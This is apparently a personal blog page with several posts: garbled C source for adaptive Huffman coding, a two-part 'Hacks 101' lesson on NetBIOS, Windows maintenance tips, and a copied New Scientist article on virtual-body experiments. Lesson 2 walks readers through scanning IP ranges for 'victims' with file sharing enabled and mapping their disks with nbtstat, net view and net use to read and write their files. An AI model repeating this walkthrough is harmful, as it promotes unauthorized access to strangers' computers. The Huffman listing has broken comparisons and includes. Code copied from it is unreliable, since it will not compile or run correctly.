0

Huffman Code

Posted by Syed Sohaib Jamil - -

/*

I am sorry for the late reply to your queries , this is only for educational purpose please

*/
#include stdlib.h
#include memory.h
#include string.h
#includefcthl.h

#ifdef unix //works with unix applications too
#define __cdecl
#else
#include io.h
#endif
// i used this code for java implementation but did not used in my assignment
// link bit-level I/O

void arc_put1 (unsigned bit);
unsigned arc_get1 ();

// This code is adapted from Professor Vitter's
// article, Design and Analysis of Dynamic Huffman Codes,
// which appeared in JACM October 1987

// A design trade-off has been made to simplify the
// code: a node's block is determined dynamically,
// and the implicit tree structure is maintained,
// e.g. explicit node numbers are also implicit.

// Dynamic huffman table weight ranking
// is maintained per Professor Vitter's
// invariant (*) for algorithm FGK:

// leaves preceed internal nodes of the
// same weight in a non-decreasing ranking
// of weights using implicit node numbers:

// 1) leaves slide over internal nodes, internal nodes
// swap over groups of leaves, leaves are swapped
// into group leader position, but two internal
// nodes never change positions relative
// to one another.

// 2) weights are incremented by 2:
// leaves always have even weight values;
// internal nodes always have odd values.

// 3) even node numbers are always right children;
// odd numbers are left children in the tree.

// node 2 * HuffSize - 1 is always the tree root;
// node HuffEsc is the escape node;

// the tree is initialized by creating an
// escape node as the root.

// each new leaf symbol is paired with a new escape
// node into the previous escape node in the tree,
// until the last symbol which takes over the
// tree position of the escape node, and
// HuffEsc is left at zero.

// overall table size: 2 * HuffSize

// huff_init(alphabet_size, potential symbols used)
// huff_encode(next_symbol)
// next_symbol = huff_decode()

// huff_scale(by_bits) -- scale weights and rebalance tree

typedef struct {
unsigned up, // next node up the tree
down, // pair of down nodes
symbol, // node symbol value
weight; // node weight
} HTable;

typedef struct {
unsigned esc, // the current tree height
root, // the root of the tree
size, // the alphabet size
*map; // mapping for symbols to nodes
HTable table[1]; // the coding table starts here
} HCoder;

// initialize an adaptive coder
// for alphabet size, and count
// of nodes to be used

HCoder *huff_init (unsigned size, unsigned root)
{
HCoder *huff;

// default: all alphabet symbols are used

if( !root || root > size )
root = size;

// create the initial escape node
// at the tree root

if( root <<= 1 ) root--; huff = malloc (root * sizeof(HTable) + sizeof(HCoder)); memset (huff->table + 1, 0, root * sizeof(HTable));
memset (huff, 0, sizeof(HCoder));

if( huff->size = size )
huff->map = calloc (size, sizeof(unsigned));

huff->esc = huff->root = root;
return huff;
}

// split escape node to incorporate new symbol

unsigned huff_split (HCoder *huff, unsigned symbol)
{
unsigned pair, node;

// is the tree already full???

if( pair = huff->esc )
huff->esc--;
else
return 0;

// if this is the last symbol, it moves into
// the escape node's old position, and
// huff->esc is set to zero.

// otherwise, the escape node is promoted to
// parent a new escape node and the new symbol.

if( node = huff->esc ) {
huff->table[pair].down = node;
huff->table[pair].weight = 1;
huff->table[node].up = pair;
huff->esc--;
} else
pair = 0, node = 1;

// initialize the new symbol node

huff->table[node].symbol = symbol;
huff->table[node].weight = 0;
huff->table[node].down = 0;
huff->map[symbol] = node;

// initialize a new escape node.

huff->table[huff->esc].weight = 0;
huff->table[huff->esc].down = 0;
huff->table[huff->esc].up = pair;
return node;
}

// swap leaf to group leader position
// return symbol's new node

unsigned huff_leader (HCoder *huff, unsigned node)
{
unsigned weight = huff->table[node].weight;
unsigned leader = node, prev, symbol;

while( weight == huff->table[leader + 1].weight )
leader++;

if( leader == node )
return node;

// swap the leaf nodes

symbol = huff->table[node].symbol;
prev = huff->table[leader].symbol;

huff->table[leader].symbol = symbol;
huff->table[node].symbol = prev;
huff->map[symbol] = leader;
huff->map[prev] = node;
return leader;
}

// slide internal node up over all leaves of equal weight;
// or exchange leaf with next smaller weight internal node

// return node's new position

unsigned huff_slide (HCoder *huff, unsigned node)
{
unsigned next = node;
HTable swap[1];

*swap = huff->table[next++];

// if we're sliding an internal node, find the
// highest possible leaf to exchange with

if( swap->weight & 1 )
while( swap->weight > huff->table[next + 1].weight )
next++;

// swap the two nodes

huff->table[node] = huff->table[next];
huff->table[next] = *swap;

huff->table[next].up = huff->table[node].up;
huff->table[node].up = swap->up;

// repair the symbol map and tree structure

if( swap->weight & 1 ) {
huff->table[swap->down].up = next;
huff->table[swap->down - 1].up = next;
huff->map[huff->table[node].symbol] = node;
} else {
huff->table[huff->table[node].down - 1].up = node;
huff->table[huff->table[node].down].up = node;
huff->map[swap->symbol] = next;
}

return next;
}

// increment symbol weight and re balance the tree.

void huff_increment (HCoder *huff, unsigned node)
{
unsigned up;

// obviate swapping a parent with its child:
// increment the leaf and proceed
// directly to its parent.

// otherwise, promote leaf to group leader position in the tree

if( huff->table[node].up == node + 1 )
huff->table[node].weight += 2, node++;
else
node = huff_leader (huff, node);

// increase the weight of each node and slide
// over any smaller weights ahead of it
// until reaching the root

// internal nodes work upwards from
// their initial positions; while
// symbol nodes slide over first,
// then work up from their final
// positions.

while( huff->table[node].weight += 2, up = huff->table[node].up ) {
while( huff->table[node].weight > huff->table[node + 1].weight )
node = huff_slide (huff, node);

if( huff->table[node].weight & 1 )
node = up;
else
node = huff->table[node].up;
}
}

// scale all weights and rebalance the tree

// zero weight nodes are removed from the tree
// by sliding them out the left of the rank list

void huff_scale (HCoder *huff, unsigned bits)
{
unsigned node = huff->esc, weight, prev;

// work up the tree from the escape node
// scaling weights by the value of bits

while( ++node <= huff->root ) {
// recompute the weight of internal nodes;
// slide down and out any unused ones

if( huff->table[node].weight & 1 ) {
if( weight = huff->table[huff->table[node].down].weight & ~1 )
weight += huff->table[huff->table[node].down - 1].weight | 1;

// remove zero weight leaves by incrementing HuffEsc
// and removing them from the symbol map. take care

} else if( !(weight = huff->table[node].weight >> bits & ~1) )
if( huff->map[huff->table[node].symbol] = 0, huff->esc++ )
huff->esc++;

// slide the scaled node back down over any
// previous nodes with larger weights

huff->table[node].weight = weight;
prev = node;

while( weight <>table[--prev].weight )
huff_slide (huff, prev);
}

// prepare a new escape node

huff->table[huff->esc].down = 0;
}

// send the bits for an escaped symbol

void huff_sendid (HCoder *huff, unsigned symbol)
{
unsigned empty = 0, max;

// count the number of empty symbols
// before the symbol in the table

while( symbol-- )
if( !huff->map[symbol] )
empty++;

// send LSB of this count first, using
// as many bits as are required for
// the maximum possible count

if( max = huff->size - (huff->root - huff->esc) / 2 - 1 )
do arc_put1 (empty & 1), empty >>= 1;
while( max >>= 1 );
}

// encode the next symbol

void huff_encode (HCoder *huff, unsigned symbol)
{
unsigned emit = 1, bit;
unsigned up, idx, node;

if( symbol <>size )
node = huff->map[symbol];
else
return;

// for a new symbol, direct the receiver to the escape node
// but refuse input if table is already full.

if( !(idx = node) )
if( !(idx = huff->esc) )
return;

// accumulate the code bits by
// working up the tree from
// the node to the root

while( up = huff->table[idx].up )
emit <<= 1, emit |= idx & 1, idx = up; // send the code, root selector bit first while( bit = emit & 1, emit >>= 1 )
arc_put1 (bit);

// send identification and incorporate
// new symbols into the tree

if( !node )
huff_sendid(huff, symbol), node = huff_split(huff, symbol);

// adjust and re-balance the tree

huff_increment (huff, node);
}

// read the identification bits
// for an escaped symbol

unsigned huff_readid (HCoder *huff)
{
unsigned empty = 0, bit = 1, max, symbol;

// receive the symbol, LSB first, reading
// only the number of bits necessary to
// transmit the maximum possible symbol value

if( max = huff->size - (huff->root - huff->esc) / 2 - 1 )
do empty |= arc_get1 () ? bit : 0, bit <<= 1; while( max >>= 1 );

// the count is of unmapped symbols
// in the table before the new one

for( symbol = 0; symbol <>size; symbol++ )
if( !huff->map[symbol] )
if( !empty-- )
return symbol;

// oops! our count is too big, either due
// to a bit error, or a short node count
// given to huff_init.

return 0;
}

// decode the next symbol

unsigned huff_decode (HCoder *huff)
{
unsigned node = huff->root;
unsigned symbol, down;

// work down the tree from the root
// until reaching either a leaf
// or the escape node. A one
// bit means go left, a zero
// means go right.

while( down = huff->table[node].down )
if( arc_get1 () )
node = down - 1; // the left child preceeds the right child
else
node = down;

// sent to the escape node???
// refuse to add to a full tree

if( node == huff->esc )
if( huff->esc )
symbol = huff_readid (huff), node = huff_split (huff, symbol);
else
return 0;
else
symbol = huff->table[node].symbol;

// increment weights and rebalance
// the coding tree

huff_increment (huff, node);
return symbol;
}

#ifdef HUFFSTANDALONE

#include

FILE *In = stdin, *Out = stdout;
unsigned char ArcBit = 0;
int ArcChar = 0;

int main (int argc, char **argv)
{
int mode, size, symbol;
unsigned mask = ~0;
HCoder *huff;

if( argc > 1 )
mode = argv[1][0], argv[1]++;
else {
printf ("Usage: %s [cdtls]nn infile outfile\nnn -- alphabet size\ninfile -- source file\noutfile -- output file", argv[0]);
return 1;
}

if( argv[1][0] == 's' )
argv[1]++, mask = 8191;

if( argc > 3 )
if( !(Out = fopen (argv[3], "w")) )
return 1;

#ifndef unix
_setmode (_fileno (Out), _O_BINARY);
#endif

// literal text

if( mode == 'l' ) {
if( !(size = atoi (argv[1])) )
size = 256;

huff = huff_init (256, size);
putc (size >> 8, Out);
putc (size, Out);

size = strlen (argv[2]);
putc (size >> 16, Out);
putc (size >> 8, Out);
putc (size, Out);

while( symbol = *argv[2]++ )
huff_encode(huff, symbol);

while( ArcBit ) // flush last few bits
arc_put1 (0);

return 0;
}

// alphabet fill

if( mode == 't' ) {
if( !(size = atoi (argv[1])) )
size = 256;

huff = huff_init (256, size);
putc (size >> 8, Out);
putc (size, Out);

putc (size >> 16, Out);
putc (size >> 8, Out);
putc (size, Out);

for( symbol = 0; symbol <>
huff_encode(huff, symbol);

while( ArcBit ) // flush last few bits
arc_put1 (0);

return 0;
}

if( argc > 2 )
if( !(In = fopen (argv[2], "r")) )
return 1;

#ifndef unix
_setmode (_fileno (In), _O_BINARY);
#endif

// decompression

if( mode == 'd' ) {
size = getc(In) <<>
size |= getc(In);

huff = huff_init (256, size);

size = getc(In) <<>
size |= getc(In) <<>
size |= getc(In);

while( size )
if( symbol = huff_decode(huff), putc (symbol, Out), size-- & mask )
continue;
else
huff_scale(huff, 1);

return 0;
}

// compression

if( !(size = atoi (argv[1])) )
size = 256;

huff = huff_init (256, size);
putc (size >> 8, Out);
putc (size, Out);

fseek(In, 0, 2);
size = ftell(In);
fseek (In, 0, 0);

putc (size >> 16, Out);
putc (size >> 8, Out);
putc (size, Out);

while( size )
if( symbol = getc(In), huff_encode(huff, symbol), size-- & mask )
continue;
else
huff_scale(huff, 1);

while( ArcBit ) // flush last few bits
arc_put1 (0);

return 0;
}

void arc_put1 (unsigned bit)
{
ArcChar <<= 1; if( bit ) ArcChar |= 1; if( ++ArcBit <>
return;

putc (ArcChar, Out);
ArcChar = ArcBit = 0;
}

unsigned arc_get1 ()
{
if( !ArcBit )
ArcChar = getc (In), ArcBit = 8;

return ArcChar >> --ArcBit & 1;
}
#endif

If u didnt understand something please drop a line in a comments
Read More …

Categories:
0

Hacks 101(Lesson-2)

Posted by Syed Sohaib Jamil - -

Okay we understand how the network works, now we will see who are potetial victims.
WHAT YOU NEED TO HACK:
All you need is a Windows based operating system like Windows 98 and Me (but I prefer Windows NT, 2000, XP) and an internet connection.
TYPES OF ATTACKS:
1. Reading/Writing to a remote computer system.
2. Denial of Service.

Searching for a victim:
You may manually search for the victims by first using the nbtstat -a ipaddress and then net view \\ipaddress . If at first you don't succeed step to next ip address until you find a suitable ip address. You may also use a port scanner .A port scanner is simply a software that can search for any block of ip address say 192.168.0.1 to 192.168.0.255 for one or more ports. "Orge" is a port scanner that gives NetBIOS names of the remote computer.
Lets Hack -Part 1 Remotely reading/writing to a victiim's computer:




Believe it or not but NetBIOS is the easiest method to break into somebody's computer. However there is a condition that must be satisfied before you can hack. The condition is that the victim must have enabled File And Printer Sharing on his computer. If the victim has enabled it , the nbtstat command will display one more NetBIOS name. Now lets us take a example. Suppose you know a ip address that has enabled File And Printer Sharing and let suppose the ip address happens to be 203.195.136.156 . If you don't the ip address where File and Printer Sharing is enabled read "Searching for a victim".The command that you will use to view the NetBIOS name is

c:\windows>nbtstat -a 203.195.136.156

Let suppose that the output comes out to be

NetBIOS Remote Machine Name Table

Name Type Status
-------------------------------------------------------------------------------------------------
user <00> UNIQUE Registered
workgroup <00> GROUP Registered
user <03> UNIQUE Registered
user <20> UNIQUE Registered

MAC Address = 00-02-44-14-23-E6


The number <20> shows that the victim has enabled the File And Printer Sharing.

-------------------------------------------------------------------------------------------------------------------------------------------------------------

NOTE - If you do not get this number there are two possibilities

1. You do not get the number <20> . This shows that the victim has not enabled the File And Printer Sharing .

2. You get "Host Not found" . This shows that the port 139 is closed or the ip address doesn't exists.

---------------------------------------------------------------------------------------------------------

Now our next step would be to view the drive or folders the victim is sharing.

We will use command

c:\windows>net view \\203.195.136.156

Let suppose we get the following output

Shared resources at \\203.195.136.156
ComputerNameGoesHere

Share name Type Used as Comment

-----------------------------------------------------------------------------------------------
CDISK Disk

The command completed successfully.


"DISK" shows that the victim is sharing a Disk named as CDISK . You may also get some additional information like


Shared resources at \\203.195.136.156

ComputerNameGoesHere

Share name Type Used as Comment

-----------------------------------------------------------------------------------------------
HP-6L Print

"Print " shows that the victim is sharing a printer named as HP-6L

If we are able to share the victims hard disks or folders or printers we will be able to read write to the folders or hard disks or we may also be able to print anything on a remote printer ! Now let us share the victims computer's hard disk or printer.

Till now we know that there is a computer whose ip address happens to be 203.195.136.156 and on that computer File and printer sharing is enabled and the victim's hard disk 's name is CDISK.

Now we will connect our computer to that hard disk . After we have connected successfully a drive will be created on our computer and on double clicking on it we will be able to view the contents of the drive. If we have connected our newly formed drive to the victim's share name CDISK it means that we our drive will have the same contents as that of the CDISK .

Lets do it.

We will use the NET command to do our work .

Let suppose we want to make a drive k: on our computer and connect it to victim's share we will issue the command

c:\windows>net use k: \\203.195.136.156\CDISK

You may replace k letter by any other letter.

If the command is successful we will get the confirmation - The command was completed successfullly

The command was completed successfully

Now just double click on the My Computer icon on your desktop and you will be a happy hacker!

We have just crested a new drive k: . Just double click on it and you will find that you are able to access the remote computer's hard disk. Enjoy your first hack!



Read More …

Categories: , ,
0

5 good computing habits

Posted by Syed Sohaib Jamil - -

Working off a slow, disorganized computer can be frustrating—and it happens to the best of us. This article is designed to give you some easy-to-follow guidelines on how to keep your computer on the right track using tools in Microsoft Windows Vista and Microsoft Windows XP.

1. Organize your folders:


We all know how easy it is to dump files into the wrong folder when we're in a hurry. But one way to make sure you'll keep your files organized is to remove the clutter with a filing system that makes sense for the way you use your computer. Here are a few tips to get you started..


  • Start clean
Begin by deciding which files you no longer need on your hard drive.

  • Think it through
Take the time to plan the best way to organize your files. How do you spend your time on the computer and what do you create? Do you work with photos and image editing software, surf the Web, write short stories, research school projects, or play games? The folders you create in Documents (called My Documents in Windows XP) can be easily tailored to show you just the kind of data about your files that you need to track.

  • Use subfolders
After you have an idea of the kinds of items you produce and want to save, create folders and subfolders to store your files. Be sure to use logical, easy-to-understand names. For example, within Documents, you might create additional folders called Projects, HR Benefits, and Career. Then, within the Projects folder, you could create subfolders for each different project.


2. Clean up your hard disk:


Now that you've organized your files and folders, and cleaned up your desktop, you can organize the data itself. Windows includes two utilities—Disk Cleanup and Disk Defragmenter—that help you free up more space on your hard drive and help your computer work more efficiently.

  • Disk Cleanup compresses your old files so you can free up storage space.

  • Disk Defragmenter scans your hard drive and consolidates files that may be scattered across the disk

Not sure how often to run these utilities? It's really up to you—some people like to run both weekly, others prefer monthly, and a few only run them every few months. It's not a bad idea to do both at least once a month. Windows Vista users take note: Disk Defragmenter is automatically scheduled to run once a week (Sunday at 4 a.m.). You can change the scheduled time for this feature or turn it off, if you prefer.

To find both programs, click Start, point to All Programs, then point to Accessories, and then choose System Tools.


3. Use System Restore


System Restore is one of those programs that can be a life-saver when you've been the unfortunate recipient of unstable software, a badly timed power outage, or a damaging thunderstorm. System Restore records important documents, settings, and preferences on your computer. If the unthinkable happens and your computer files are damaged or inaccessible, you can use System Restore to restore your computer back the same state it was in before the data was lost.

System Restore creates restore points daily, and whenever you install device drivers, automatic updates, and some applications. Still, it's a good idea to get into the habit of creating a system checkpoint (called a restore point) whether you're about to install new software, or take any action you suspect might make your computer unstable. That way, if there's any conflict at all, you can restore your computer to the point just before you began the installation.

To use System Restore:

  1. Click Start, and choose All Programs.
  2. Point to Accessories, then point to System Tools, and then choose System Restore.
  3. When the program begins, choose Create a restore point and click Next.
  4. Enter a description of the restore point and click Create. After a few seconds, the program will tell you the date, time, and description of the new restore point.
  5. Click Close to exit System Restore.



4. Keep Windows and Office up-to-date


Computer programs are continually improved based on customer feedback and continuing product testing. As problems are resolved, you should benefit from those improvements. By checking Microsoft Update regularly, you can make sure you've got the most recent Windows and Office improvements available to you.

If you're using Windows XP, visit Microsoft Update to start the update process. If it's your first time to visit Microsoft Update, you might need to sign up to the service. Windows Vista users don't need to sign up for Microsoft Update: an account is automatically created for you during the registration process.


5. Run antivirus software AND a spyware detection and removal tool


Updating your Windows software is just the first step in keeping your computer safe. Next, you'll want to download and install antivirus software and keep it up to date. Your computer may have come with a free trial of antivirus software, but if you don't renew your subscription, you won't be protected from all the latest threats.

If your computer seems sluggish or if you begin to see lots of pop-up advertisements, even when you're not surfing the Web, your computer may be infected with spyware, adware, or other unwanted software. Learn more about spyware and what it can do to your computer. Fortunately, there's Microsoft Windows Defender, which is included in Windows Vista, and is available as a free download for Microsoft XP SP2. Alternatively, there are other free anti-spyware software programs available.


Read More …

Categories: , , , ,
1

Hacks 101(Lesson-1)

Posted by Syed Sohaib Jamil - -

BRIEF LESSON ON NETBIOS



NetBIOS stands for Network Basic Input Output System .It was originally developed by IBM and Sytek as an Application Programming Interface (API) for client software to access LAN resources. If you have experience of working on a LAN using Microsoft Windows Operating Systems (like Windows98 , Windows Me, Windows NT etc), you must have clicked on "Network Neighborhood" to access the computers attached to your network.

Name of the computer

Username

Domain

Computer Name

and many others.

Like any other service it also works on a port . It has been assigned a port number 139.






THE NBTSTAT COMMAND

You can manually interact with the NetBIOS with the help of NBTSTAT command. To use this command click on the start button then select RUN... and type "command" without quotes to launch MS-DOS Command Prompt. Alternatively you may click on Start Button then go to Programs and then select Command Prompt. Once you are in Command Prompt you can exit by typing command EXIT . To launch Command Prompt in full screen mode press ALT+ENTER key combination .To get back to the original window again press ALT+ENTER key combination. If you have launched the command prompt you will get

c:\windows>

If you do not get windows displayed after c:\ don't worry just keep going , all required commands will work fine.

Now lets play with the NBTSTAT command.

If you want to get more help from MS-DOS about this command type NBTSTAT/? on the prompt i.e.

c:\windows>nbtstat/?

If you want to get the NetBIOS information of your computer type the following command

c:\windows>nbtstat -a 127.0.0.1

This command will list the NetBIOS information. A typical example

NetBIOS Remote Machine Name Table

Name Number Type Usage

==========================================================================

workgroup 00 G Domain Name

my_computer 03 U Messenger Service

myusername 03 U Messenger Service

MAC Address = 00-02-44-14-23-E6

Please note that we have used our ip address to be 127.0.0.1 . This ip address is called as "Loop Back" ip address because this ip address always refers to the computer you are using.

This example is self explanatory . We need not go in details. We need to know about the Name and Number. The Name displays the Name of the NetBIOS and there is a corresponding hexagonal number . You may see some additional names in your case.

If you want to get the NetBIOS names of a remote computer, the command is

c:\windows>nbtstat -a ipaddress

Example - To get the NetBIOS names of a computer having ip address 203.195.136.156, we shall use the command

NOTE-203.195.136.156 may be a active ip address of someone's computer. I am using it only as an example. Please don't hack this computer.

c:\windows>nbtstat -a 203.195.136.156





Thak you for reading please leave a comment.

Read More …

Categories: ,
0

Out-of-body experience

Posted by Syed Sohaib Jamil - -

The dream of many of paralysed people, computer-game designers – and pornographers – is one step closer to reality with the demonstration of a technique that allows people to physically identify with a virtual body. The achievement builds on previous work in which neuroscientists created something similar to out-of-body experiences in healthy volunteers and tricked people viewing their virtual body into feeling that body being touched.


In the latest experiment, vibrating pads with flashing lights were positioned on the subjects' backs. Virtual bodies were generated by a camera filming their backs and were viewed as though 2 metres in front of the subjects through a head-mounted display. Repeated stroking of their backs, and the sight of the doppelganger being stroked, created the feeling that they were outside of their bodies.

At the same time, the subjects saw flashes on their virtual bodies, and felt vibrations on their real bodies. Participants were asked to ignore the flashing lights and only report where the vibrations were by pressing a button as fast as possible. The extent to which the flashing light interfered with the reporting of the vibrations was an indicator of where subjects perceived the spatial location of the vibrations to be.

Some volunteers had out-of-body experiences and reported that the vibrations were felt in the location where the flash was seen on their virtual body.

'Promising future'

"This technology, although currently in basic research, seems to have a very promising future for clinical applications in restoring lost motor functions in paralysed people," says bioethicist Jens Clausen at the Institute for Ethics and the History of Medicine at the University of Tűbingen in Germany. "It's important to integrate prosthetics into one's self concept"

Because this work confirms that people can be made to feel that a touch on the real body is a touch on the virtual body, Jane Aspell of theLaboratory of Cognitive Neuroscience at the Swiss Federal Institute of Technology in Lausanne, who led the study, says: "This emerging field has interesting implications for virtual computer gaming, such as making avatars seem more real and increasing presence in the VR environment."

Aware animals?

Although full out-of-body experiences in the lab remain elusive, the group is now aiming to boost the illusion by inducing the subject to identify more strongly with the virtual body.

The advantage of this technique, in contrast to previous methods that only used questionnaires, is that sensory perception is measured during the test, and these behavioural measures are less biased as they require no higher-order reflection, says Aspell. This means that it might be appropriate to use the method in a clinical setting where some patients report neurological out-of-body experiences, for example.

Modified versions of these experiments could even be used in animals, the authors say – allowing scientists to look into whether self-consciousness is unique to humans or whether animals have some sense of self. Because the method doesn't require the filling in of a questionnaire, animals could possibly be trained to use the equipment.


copyright to NEW SCIENTIST

Read More …

Categories: